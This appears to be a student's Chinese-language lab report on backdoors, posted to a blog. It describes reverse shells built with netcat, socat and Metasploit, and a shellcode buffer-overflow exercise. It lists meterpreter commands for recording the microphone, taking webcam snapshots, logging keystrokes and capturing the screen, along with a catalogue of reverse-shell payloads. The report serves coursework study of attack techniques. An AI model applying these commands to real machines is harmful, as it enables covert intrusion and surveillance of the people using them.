首页 > 其他分享 >20201230张国强实验二

20201230张国强实验二

时间:2023-03-23 20:46:43浏览次数:37  
标签:shell reverse kali 张国强 实验 tcp linux 20201230 x86

后门原理与实践

1.基础问题回答

  • (1)例举你能想到的一个后门进入到你系统中的可能方式?

    • 1.插入带毒的U盘,或者别人趁我不注意,插入带毒的U盘;
    • 2.下载盗版软件;
    • 3.钓鱼网站链接,利用浏览器缓冲区溢出做后门;
    • 4.SSH弱口令。不少机器都是开了SSH远程登录的,弱口令爆破。
  • (2)例举你知道的后门如何启动起来(win及linux)的方式?
    windows:

    • 开机自启动
    • 定时任务管理器
    • 注册表启动
    • 远程访问
    • 网站直接访问

    Linux:

    • cron定时任务
    • 运行带后门的程序
    • 远程访问
    • 网站直接访问
  • (3)Meterpreter有哪些给你映像深刻的功能?

    • meterpreter提供键盘记录、相机拍照以及实时桌面监控的功能令我印象深刻,让我对后门程序有了不一样的认知。
  • (4)如何发现自己有系统有没有被安装后门?

    • 利用杀毒软件、防火墙或一些漏洞扫描软件可以检测到自己的系统是否存在后门;或打开进程管理器查看是否有陌生且功能异常的后台进程。

2.实验过程记录

2.1使用netcat获取主机操作Shell,cron启动

  • 环境:
    kali:202.112.113.135
    windows10: 192.168.0.111
  • 端口:10086
    思路:
    Windows提前进入端口监听状态,kali机使用crontab命令添加启动项,反弹连接Windows,并运行/bin/bash提交shell。
  • 过程:
    windows进入端口监听状态

    crontab 命令添加启动项,启动频率为每过一分钟启动一次


    时间到,连接成功!

2.2使用socat获取主机操作Shell, 任务计划启动

  • 环境:
    Windows7:202.112.113.137
    kali:202.112.113.135
  • 端口:10086
  • 思路:
    kali进入端口监听状态,Windows7利用程序计划启动器建立启动事件,事件触发,反弹连接kali机。
    过程:
    windows7利用 socat.exe 程序建立后门,输入参数以及启动事件

    kali进入监听状态后,触发事件,建立连接,kali获取cmd!


2.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 环境:
    windows10:192.168.0.111
    kali:202.112.113.135
    端口:10086
  • 思路:
    kali利用 msfconsole 进入监听状态,Windows10启动kali发给其的后门程序,反弹连接到kali,交出shell。
  • 过程:
    Windows生成一个可执行文件hello.exe并通过 ncat 命令传输至kali机

    kali端利用课件所给的payload使用 msfvenom 命令生成后门程序hello_backdoor.exe文件并传输给windows10


    kali机进入msf控制台,输入指令 use exploit/multi/handler 进入监控模块,并设置ip端口以及payload。最后在Windows10端启动hello_backdoor.exe程序,kali成功获得cmd!

2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

在实验2.3的状态下,使用Meterpreter指令进行获取目标主机音频、摄像头、击键记录等操作

record_mic -d 5      //录音 5 秒

webcam_list          //列出网络摄像头        //没有
webcam_snap          //用摄像头拍照

keyscan_start        //开始记录键盘
keyscan_dump         //显示捕获到的键盘记录
keyscan_stop         //停止记录键盘

screenshare          //生成一个html,用浏览器打开,可以实时获取屏幕信息
screenshot           //获取截屏


尝试提权


2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 环境:
    kali:202.112.113.138
    ubuntu:202.112.113.132
    端口:1206
  • 思路:
    kali利用nc命令监听状态并准备运行pwn1文件,Ubuntu利用msf生成shellcode通过nc命令远程注入shellcode,同时自己进入监听状态,kali端缓冲区溢出反弹连接Ubuntu交出shell。
  • 过程:
    kali端通过关闭地址随机并找到shellcode插入位置,并做测试同时利用nc命令进入监听状态


    Ubuntu筛选payload并生成shellcode,将shellcode写入hack.bin文件。打开msf控制台进入监听状态同时发送文件,获取shell成功!
msfvenom -l payloads | grep linux | grep x86 | grep tcp | grep reverse

    linux/x86/meterpreter/reverse_ipv6_tcp              Inject the mettle server payload (staged). Connect back to attacker over IPv6
    linux/x86/meterpreter/reverse_nonx_tcp              Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter/reverse_tcp                   Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter/reverse_tcp_uuid              Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter_reverse_tcp                   Run the Meterpreter / Mettle server payload (stageless)
    linux/x86/metsvc_reverse_tcp                        Stub payload for interacting with a Meterpreter Service
    linux/x86/shell/reverse_ipv6_tcp                    Spawn a command shell (staged). Connect back to attacker over IPv6
    linux/x86/shell/reverse_nonx_tcp                    Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell/reverse_tcp                         Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell/reverse_tcp_uuid                    Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell_reverse_tcp                         Connect back to attacker and spawn a command shell
    linux/x86/shell_reverse_tcp_ipv6                    Connect back to attacker and spawn a command shell over IPv6



3.实验总结与体会

此次实验踩了不少坑,在进行实验2.2时,由于不敢拿机器主系统做,改用手里的WindowsXp做,好不容易将所有文件传输完毕,结果发现WindowsXp的程序计划启动管理器无法加入参数,只得从头再来。但2.4部分的Meterpreter指令的功能确确实实刷新了我对后门程序的认知,同时也意识到这类程序对操作者的危害:一旦被“下毒”,隐私全无;
最后的附加题部分真是要了命,payload试了不少,查了不少资料才成功,但好处也是显而易见,很享受这个过程。唯一的遗憾就是提权的失败,后续会继续查资料实现该功能。

标签:shell,reverse,kali,张国强,实验,tcp,linux,20201230,x86
From: https://www.cnblogs.com/RookieHacker1230/p/17249322.html

相关文章

  • linux操作系统实验三-搭建vscode调试环境,进行start_kernal调试
    实验三:debugmykernel 首先安装开发工具sudoaptinstallbuild-essentialsudoaptinstallqemu#installQEMUsudoaptinstalllibncurses5-devbisonflexlibs......
  • 实验二
    task1x='nbaFIFA'print(x.upper())print(x.lower())print(x.swapcase())print()x='abc'print(x.center(10,'*'))print(x.center(10,'*'))print(x.ljust(10,'*')......
  • 实验2
    task1#include<stdio.h>#include<stdlib.h>#include<time.h>#defineN5#defineR1568#defineR2701intmain(){intnumber;inti;sr......
  • 实验2 输入输出和控制语句应用编程
     任务1#include<stdio.h>#include<stdlib.h>#include<time.h>#defineN5#defineR1586#defineR2701intmain(){intnumber;inti;sran......
  • 实验二
    x='nbaFIFA'print(x.upper())print(x.lower())print(x.swapcase())print()x='abc'print(x.center(10,'*'))print(x.ljust(10,'*'))print(x.rjust(10,'*'......
  • 实验2
    1、实验任务1task1.c#include<stdio.h>#include<stdlib.h>#include<time.h>#defineN5#defineR1586#defineR2701intmain(){intnumber;int......
  • 实验2 字符串和列表
    实验任务1task11x='nbaFIFA'2print(x.upper())3print(x.lower())4print(x.swapcase())5print()67x='abc'8print(x.center(10,'*'))9p......
  • 实验2
    task1源代码#include<stdio.h>#include<stdlib.h>#include<time.h>#include<math.h>#defineN5#defineR1663#defineR2701intmain(){intnumber,i......
  • 实验2
    #include"stdafx.h"#include<stdlib.h>#include<stdio.h>int_tmain(intargc,_TCHAR*argv[]){inta1,a2,a3;charc1,c2,c3;doublex,y;scanf("......
  • 实验二
    #include<stdio.h>#include<stdlib.h>#include<time.h>#defineN5#defineR1586#defineR2701intmain(){ intnumber; inti; srand(time(0)); f......